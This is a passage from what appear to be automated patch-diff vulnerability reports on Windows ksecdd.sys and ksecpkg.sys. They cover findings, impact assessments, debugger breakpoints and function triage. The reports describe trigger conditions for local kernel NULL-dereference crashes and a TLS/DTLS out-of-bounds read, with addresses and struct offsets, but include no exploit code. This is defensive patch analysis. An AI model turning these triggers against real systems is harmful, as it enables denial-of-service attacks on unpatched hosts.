&lt;span class="err"&gt;000000018000&lt;/span&gt;&lt;span class="nf"&gt;E1A5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movdqu&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xmmword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;Handle&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Function-pointer offset table (SSPI dispatch)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Fn-ptr offset&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EncryptMessage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+0x30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SealMessage dispatch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DecryptMessage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+0x38&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;UnsealMessage dispatch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;QuerySecurityContextToken&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+0x40&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;via &lt;code&gt;InvokeById&lt;/code&gt; &lt;code&gt;0x180029C10&lt;/code&gt; (patched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ImpersonateSecurityContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+0x40&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;via &lt;code&gt;InvokeById&lt;/code&gt; &lt;code&gt;0x180029C10&lt;/code&gt; (patched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DeleteUserModeContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+0x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;via &lt;code&gt;InvokeById&lt;/code&gt; &lt;code&gt;0x180029960&lt;/code&gt; (patched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ProcessSecurityContextUnMarshalResponse&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+0x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;internal unmarshal dispatch&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Trigger A: NULL Context Handle → BSOD (local DoS) — Finding 1&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Invoke a kernel SSP message/context routine (&lt;code&gt;EncryptMessage&lt;/code&gt;/&lt;code&gt;DecryptMessage&lt;/code&gt;/&lt;code&gt;QuerySecurityContextToken&lt;/code&gt;/&lt;code&gt;ImpersonateSecurityContext&lt;/code&gt;) with a NULL &lt;code&gt;PCtxtHandle&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In the unpatched build the routine executes &lt;code&gt;mov reg, [phContext]&lt;/code&gt; with &lt;code&gt;phContext == NULL&lt;/code&gt;, faulting in kernel mode.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Result:&lt;/strong&gt; kernel bugcheck (local DoS). The patched build returns &lt;code&gt;SEC_E_INVALID_HANDLE&lt;/code&gt; (&lt;code&gt;0x80090301&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Trigger B: NULL output handle → BSOD (local DoS) — Finding 5&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Call &lt;code&gt;ImportSecurityContextW&lt;/code&gt; with a NULL &lt;code&gt;phContext&lt;/code&gt; (output handle).&lt;/li&gt;
&lt;li&gt;Unpatched: &lt;code&gt;phContext-&amp;gt;dwUpper = …&lt;/code&gt; dereferences NULL → bugcheck.&lt;/li&gt;
&lt;li&gt;Patched: returns &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; (&lt;code&gt;0xC000000D&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Trigger C: Unvalidated input-buffer pointer — Finding 6&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Reach the ksecdd fast-I/O device-control interface with one of the CNG kernel IOCTL codes and an input-buffer pointer that is not a valid user-mode range.&lt;/li&gt;
&lt;li&gt;Unpatched: the handler dereferences the pointer with no &lt;code&gt;ProbeForRead&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Patched: &lt;code&gt;ProbeForRead&lt;/code&gt; rejects a non-user-mode / invalid buffer address before the dereference.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Findings 2 and 3 have no trigger: the IOCTL &lt;code&gt;0x398000&lt;/code&gt; and &lt;code&gt;0x390058&lt;/code&gt; handlers are unchanged between builds and are not affected by this patch.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;h3&gt;Finding 1 — NULL dereference / dispatch hardening&lt;/h3&gt;
&lt;p&gt;The concrete, demonstrable primitive is a &lt;strong&gt;local kernel NULL-pointer dereference (BSOD)&lt;/strong&gt; when a NULL context handle is passed. The dispatch index is subject to an unsigned upper-bound check in both builds, so an out-of-bounds table read is not reachable through the index alone; the added &lt;code&gt;lfence&lt;/code&gt; is a speculative-execution (bounds-check-bypass) barrier, and the added entry/function-pointer NULL checks are defense-in-depth on the CFG-guarded call site. No out-of-bounds write, information leak, or code-execution primitive is demonstrable from these changes.&lt;/p&gt;
&lt;h3&gt;Finding 4 — output-buffer-count check&lt;/h3&gt;
&lt;p&gt;A defensive upper bound (&lt;code&gt;cBuffers ≤ 0x12&lt;/code&gt;) on a &lt;strong&gt;caller-supplied&lt;/strong&gt; output &lt;code&gt;SecBufferDesc&lt;/code&gt;. The value is not attacker-controlled network data, and no overflow is demonstrable in the unpatched build.&lt;/p&gt;
&lt;h3&gt;Finding 5 — ImportSecurityContextW NULL checks&lt;/h3&gt;
&lt;p&gt;Local NULL-pointer dereference (BSOD) if a caller passes a NULL packed-context or output-handle argument.&lt;/p&gt;
&lt;h3&gt;Finding 6 — missing ProbeForRead&lt;/h3&gt;
&lt;p&gt;Dereference of an unvalidated caller-supplied pointer in kernel mode. Because the handle read from the buffer is separately validated (&lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt; with &lt;code&gt;PsProcessType&lt;/code&gt;) and addresses are checked against ksecdd's own allocation list (&lt;code&gt;KsecRemoveValidVm&lt;/code&gt;), the practical impact is an invalid-address fault or a bounded (16-byte) read from a caller-named address; the added &lt;code&gt;ProbeForRead&lt;/code&gt; closes the missing user-mode-range check.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;h3&gt;Finding 1 — EncryptMessage NULL dereference&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp ksecdd!EncryptMessage
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At entry, &lt;code&gt;rcx = phContext&lt;/code&gt; (arg1) and &lt;code&gt;r8 = pMessage&lt;/code&gt; (arg3). In the unpatched build the faulting instruction is &lt;code&gt;mov rdx, [rbx]&lt;/code&gt; at &lt;code&gt;0x1C002631D&lt;/code&gt; (where &lt;code&gt;rbx = phContext&lt;/code&gt;). Struct offsets used by the dispatch:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x00&lt;/code&gt; (context handle)&lt;/td&gt;
&lt;td&gt;package index&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*phContext&lt;/code&gt;, used as the dispatch-table index&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x1C8&lt;/code&gt; (LSA state)&lt;/td&gt;
&lt;td&gt;dispatch-table base&lt;/td&gt;
&lt;td&gt;reloaded post-check in the patched build&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x1D0&lt;/code&gt; (LSA state)&lt;/td&gt;
&lt;td&gt;entry count&lt;/td&gt;
&lt;td&gt;unsigned upper bound (&lt;code&gt;cmp&lt;/code&gt; / &lt;code&gt;jnb&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x30&lt;/code&gt; (entry)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EncryptMessage&lt;/code&gt; handler&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x38&lt;/code&gt; (entry)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DecryptMessage&lt;/code&gt; handler&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x40&lt;/code&gt; (entry)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;QuerySecurityContextToken&lt;/code&gt; / &lt;code&gt;ImpersonateSecurityContext&lt;/code&gt; handler&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x08&lt;/code&gt; (entry)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeleteUserModeContext&lt;/code&gt; handler&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x10&lt;/code&gt; (entry)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ProcessSecurityContextUnMarshalResponse&lt;/code&gt; handler&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Finding 6 — ProbeForRead in KsecIoctlFreeVm&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp ksecdd!KsecIoctlFreeVm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At entry, &lt;code&gt;rcx = a1&lt;/code&gt; (caller input buffer). In the patched build (&lt;code&gt;0x18000E168&lt;/code&gt;), &lt;code&gt;ProbeForRead(a1, 0x10, 8)&lt;/code&gt; runs at &lt;code&gt;0x18000E196&lt;/code&gt; before &lt;code&gt;movups xmm0, [rbx]&lt;/code&gt; at &lt;code&gt;0x18000E1A2&lt;/code&gt;; the unpatched build (&lt;code&gt;0x1C000E91C&lt;/code&gt;) dereferences the buffer with no probe.&lt;/p&gt;
&lt;h3&gt;SspiAcceptSecurityContextAsync — output-count check&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp ksecdd!SspiAcceptSecurityContextAsync
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patched check is &lt;code&gt;cmp dword ptr [r15+4], 12h&lt;/code&gt; at &lt;code&gt;0x1800241E4&lt;/code&gt;, &lt;code&gt;ja 0x1800242BC&lt;/code&gt;. &lt;code&gt;SecBufferDesc.cBuffers&lt;/code&gt; is at offset &lt;code&gt;+0x4&lt;/code&gt; (&lt;code&gt;ulVersion&lt;/code&gt; at &lt;code&gt;+0x0&lt;/code&gt;, &lt;code&gt;pBuffers&lt;/code&gt; at &lt;code&gt;+0x8&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-Relevant Changes&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Change Type&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EncryptMessage&lt;/code&gt; (SealMessage)&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Added NULL checks on &lt;code&gt;phContext&lt;/code&gt;/message arg, &lt;code&gt;lfence&lt;/code&gt;, table reload, entry-NULL and fn-ptr NULL checks (offset &lt;code&gt;0x30&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DecryptMessage&lt;/code&gt; (UnsealMessage)&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Same pattern; fn-ptr offset &lt;code&gt;0x38&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;QuerySecurityContextToken&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;phContext&lt;/code&gt; NULL check; dispatch moved to validating &lt;code&gt;InvokeById&lt;/code&gt; &lt;code&gt;0x180029C10&lt;/code&gt; (offset &lt;code&gt;0x40&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ImpersonateSecurityContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;phContext&lt;/code&gt; NULL check (returns &lt;code&gt;0xC000000D&lt;/code&gt;); dispatch moved to &lt;code&gt;InvokeById&lt;/code&gt; &lt;code&gt;0x180029C10&lt;/code&gt;; then &lt;code&gt;PsImpersonateClient&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DeleteUserModeContext&lt;/code&gt; (&lt;code&gt;sub_1c001e190&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Already had arg1 and fn-ptr NULL checks; gained &lt;code&gt;lfence&lt;/code&gt;, table reload, entry-NULL check via &lt;code&gt;InvokeById&lt;/code&gt; &lt;code&gt;0x180029960&lt;/code&gt; (offset &lt;code&gt;0x08&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ProcessSecurityContextUnMarshalResponse&lt;/code&gt; (&lt;code&gt;sub_1c001fac0&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Internal async-response unmarshaller; same dispatch hardening; fn-ptr offset &lt;code&gt;0x10&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SspiAcceptSecurityContextAsync&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;cBuffers &amp;gt; 0x12&lt;/code&gt; check and NULL checks on context/credential handles; restructured.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ImportSecurityContextW&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Added NULL checks on &lt;code&gt;pPackedContext&lt;/code&gt;/&lt;code&gt;phContext&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KsecIoctlHandleFunctionReturn&lt;/code&gt;, &lt;code&gt;KsecIoctlClientCallback&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Raw user pointer replaced by &lt;code&gt;ProbeForRead&lt;/code&gt; + &lt;code&gt;RtlCopyFromUser&lt;/code&gt; into a kernel copy (double-fetch / TOCTOU fix).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KsecIoctlAllocVm&lt;/code&gt;, &lt;code&gt;KsecIoctlFreeVm&lt;/code&gt;, &lt;code&gt;KsecIoctlCopyVm&lt;/code&gt;, &lt;code&gt;KsecIoctlAllocPool&lt;/code&gt;, &lt;code&gt;KsecIoctlFreePool&lt;/code&gt;, &lt;code&gt;KsecIoctlCopyPool&lt;/code&gt;, &lt;code&gt;KsecIoctlDupLsaHandle&lt;/code&gt;, &lt;code&gt;KsecIoctlInsertProtectedProcessAddress&lt;/code&gt;, &lt;code&gt;KsecIoctlRemoveProtectedProcessAddress&lt;/code&gt;, &lt;code&gt;KsecCopyVirtualMemory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;ProbeForRead&lt;/code&gt; on caller input buffer before dereference (0 → 24 &lt;code&gt;ProbeForRead&lt;/code&gt; calls binary-wide).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KsecUpdateUserTokenSessionId&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;New handler&lt;/td&gt;
&lt;td&gt;Present only in the patched build; part of the same probing wave (no unpatched counterpart).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;No Security-Relevant Change&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Change Type&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KsecDispatch&lt;/code&gt; (&lt;code&gt;sub_1c001e8c0&lt;/code&gt; → &lt;code&gt;0x180026dc0&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Refactor&lt;/td&gt;
&lt;td&gt;IOCTL &lt;code&gt;0x398000&lt;/code&gt; and &lt;code&gt;0x390058&lt;/code&gt; handlers functionally identical between builds (see Findings 2 and 3). Diff is refactoring (&lt;code&gt;InitSecurityInterfaceW&lt;/code&gt; → &lt;code&gt;CreateClient&lt;/code&gt;, extension-dispatch signature, &lt;code&gt;IoctlIpcGetQueuedFunctionCalls&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AcceptSecurityContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cosmetic&lt;/td&gt;
&lt;td&gt;Thin wrapper updated to call the restructured worker.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KsecProcessSecurityContext&lt;/code&gt; (&lt;code&gt;sub_1c001e260&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Behavioral&lt;/td&gt;
&lt;td&gt;Token-duplication / process-token-query paths refactored; helper-call renumbering. Not a security fix.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The remaining changed functions are register-allocation, compiler-optimization, and inlining differences from the recompilation, plus WPP/ETW tracing churn; none are security-relevant.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;No functions were added or removed (&lt;code&gt;unmatched_unpatched: 0&lt;/code&gt;, &lt;code&gt;unmatched_patched: 0&lt;/code&gt;). The patched build introduces the shared dispatch-validation helpers &lt;code&gt;KernelPackageCallValidatorWorkers::CallValidator&amp;lt;…&amp;gt;::InvokeById&lt;/code&gt; (&lt;code&gt;0x180029C10&lt;/code&gt;, &lt;code&gt;0x180029960&lt;/code&gt;), which replace the inline dispatch-table indexing inside already-matched functions rather than appearing as standalone unmatched entries.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Finding 1 (NULL deref / dispatch hardening):&lt;/strong&gt; High confidence in the mechanism. The added NULL checks, &lt;code&gt;lfence&lt;/code&gt;, table reload, and entry/fn-ptr NULL checks are all present in the patched disassembly and absent in the unpatched. Impact is a local NULL-deref DoS; no OOB or code-execution primitive is demonstrable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 2 (IOCTL 0x398000) and Finding 3 (IOCTL 0x390058):&lt;/strong&gt; High confidence that there is &lt;strong&gt;no&lt;/strong&gt; security-relevant change — both handlers are functionally identical in the two builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 4 (output-count check):&lt;/strong&gt; The &lt;code&gt;cBuffers &amp;gt; 0x12&lt;/code&gt; check is genuinely added, but the input is a caller-supplied output descriptor and no overflow is demonstrable; treated as a defensive bound.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 5 (ImportSecurityContextW):&lt;/strong&gt; The NULL checks are genuinely added; the function-pointer NULL check exists in both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 6 (ProbeForRead):&lt;/strong&gt; High confidence the probes were added (0 → 24 binary-wide). Practical impact is bounded by the existing &lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt;/&lt;code&gt;KsecRemoveValidVm&lt;/code&gt; validation; precise reachability of the fast-I/O interface by an unprivileged caller depends on the device ACL and the protected-process gating in &lt;code&gt;KsecFastIoDeviceControl&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>ksecpkg.sys — Missing minimum-length validation before TLS/DTLS record header reads (CWE-125) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ksecpkg_111e8a9c-ksecpkg-report-20260629-125630.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/ksecpkg_111e8a9c-ksecpkg-report-20260629-125630.html</id><summary type="html">&lt;p&gt;KB5094128&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Title&lt;/td&gt;
&lt;td&gt;ksecpkg.sys — Windows Kernel Security Support Provider (Schannel TLS/DTLS record decryption)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ksecpkg_unpatched.sys&lt;/code&gt; (image base &lt;code&gt;0x1c000000&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ksecpkg_patched.sys&lt;/code&gt; (image base &lt;code&gt;0x140000000&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.6942&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;458&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed&lt;/td&gt;
&lt;td&gt;294&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical&lt;/td&gt;
&lt;td&gt;164&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (patched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Diff statistics:&lt;/strong&gt; 164 fully identical functions, 294 changed, 0 added, 0 removed (per the reported match set; the raw function-header counts are 490 in the unpatched image and 535 in the patched image, reflecting new C++/library symbols the patched build introduces).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;One-sentence verdict:&lt;/strong&gt; The patch adds explicit minimum-record-length checks (&lt;code&gt;&amp;gt;= 5&lt;/code&gt; for a TLS record header, &lt;code&gt;&amp;gt;= 0xD&lt;/code&gt;/13 for a DTLS record header) before the Schannel record-decryption handlers dereference fixed header byte offsets of an attacker-supplied record; the unpatched build guarded those reads only with a cipher-overhead comparison that does not guarantee the record is long enough, allowing an out-of-bounds read of the input buffer for a truncated record. The two functions originally flagged in this report (&lt;code&gt;DigestKernelHTTPHelper&lt;/code&gt; and &lt;code&gt;strcat_s&lt;/code&gt;) are, on inspection, semantics-preserving compiler churn and carry no security-relevant change.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Missing minimum-length check before TLS/DTLS record header reads (MEDIUM) — the delivered fix&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CWE:&lt;/strong&gt; CWE-125 (Out-of-bounds Read)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Missing length validation before fixed-offset dereference of attacker-controlled input&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Functions (matched; patched build is stricter):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Tls13DecryptHandler&lt;/code&gt; @ &lt;code&gt;0x1C000ADC4&lt;/code&gt; (unpatched) ↔ &lt;code&gt;0x140001680&lt;/code&gt; (patched)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TlsDecryptHandler&lt;/code&gt; @ &lt;code&gt;0x1C0001770&lt;/code&gt; ↔ &lt;code&gt;0x140001980&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SslUnsealMessageStream&lt;/code&gt; @ &lt;code&gt;0x1C0001330&lt;/code&gt; ↔ &lt;code&gt;0x140001120&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SslUnsealMessageConnection&lt;/code&gt; @ &lt;code&gt;0x1C000A6BC&lt;/code&gt; ↔ &lt;code&gt;0x140004D50&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;plus a new extracted helper &lt;code&gt;TlsDecryptMessage&lt;/code&gt; in the patched build that carries the same checks&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; Schannel record decryption on an established TLS/DTLS context (&lt;code&gt;SslUnsealMessage*&lt;/code&gt; / &lt;code&gt;Tls*DecryptHandler&lt;/code&gt;), processing an inbound encrypted record whose bytes are attacker-controlled.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; These handlers parse an inbound TLS/DTLS record. They read fixed byte offsets from the record buffer to determine the record type/version and the declared record length: offsets &lt;code&gt;+1&lt;/code&gt;, &lt;code&gt;+3&lt;/code&gt;, &lt;code&gt;+4&lt;/code&gt; for a TLS record header (needs at least 5 bytes) and offsets &lt;code&gt;+0xB&lt;/code&gt; and &lt;code&gt;+0xC&lt;/code&gt; for a DTLS record header (needs at least 13 bytes, because the DTLS record header carries the sequence bytes there). In the unpatched build the only length check performed before these reads is &lt;code&gt;cbBuffer &amp;gt;= cipher_overhead&lt;/code&gt;, where &lt;code&gt;cipher_overhead&lt;/code&gt; is a context-derived value (&lt;code&gt;ctx[0x40] + ctx[0x44]&lt;/code&gt;). That comparison does not guarantee the record contains the bytes at the fixed header offsets, so a truncated record that satisfies &lt;code&gt;cbBuffer &amp;gt;= cipher_overhead&lt;/code&gt; but is shorter than the header still reaches &lt;code&gt;movzx ..., byte ptr [rec+0xB]&lt;/code&gt; / &lt;code&gt;[rec+0xC]&lt;/code&gt; (or &lt;code&gt;[rec+3]&lt;/code&gt;/&lt;code&gt;[rec+4]&lt;/code&gt;), reading past the end of the input buffer.&lt;/p&gt;
&lt;p&gt;The patched build inserts an explicit minimum-length gate immediately before those reads:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cmp &amp;lt;record-length&amp;gt;, 5&lt;/code&gt; / &lt;code&gt;jb &amp;lt;error&amp;gt;&lt;/code&gt; before the TLS header reads, and&lt;/li&gt;
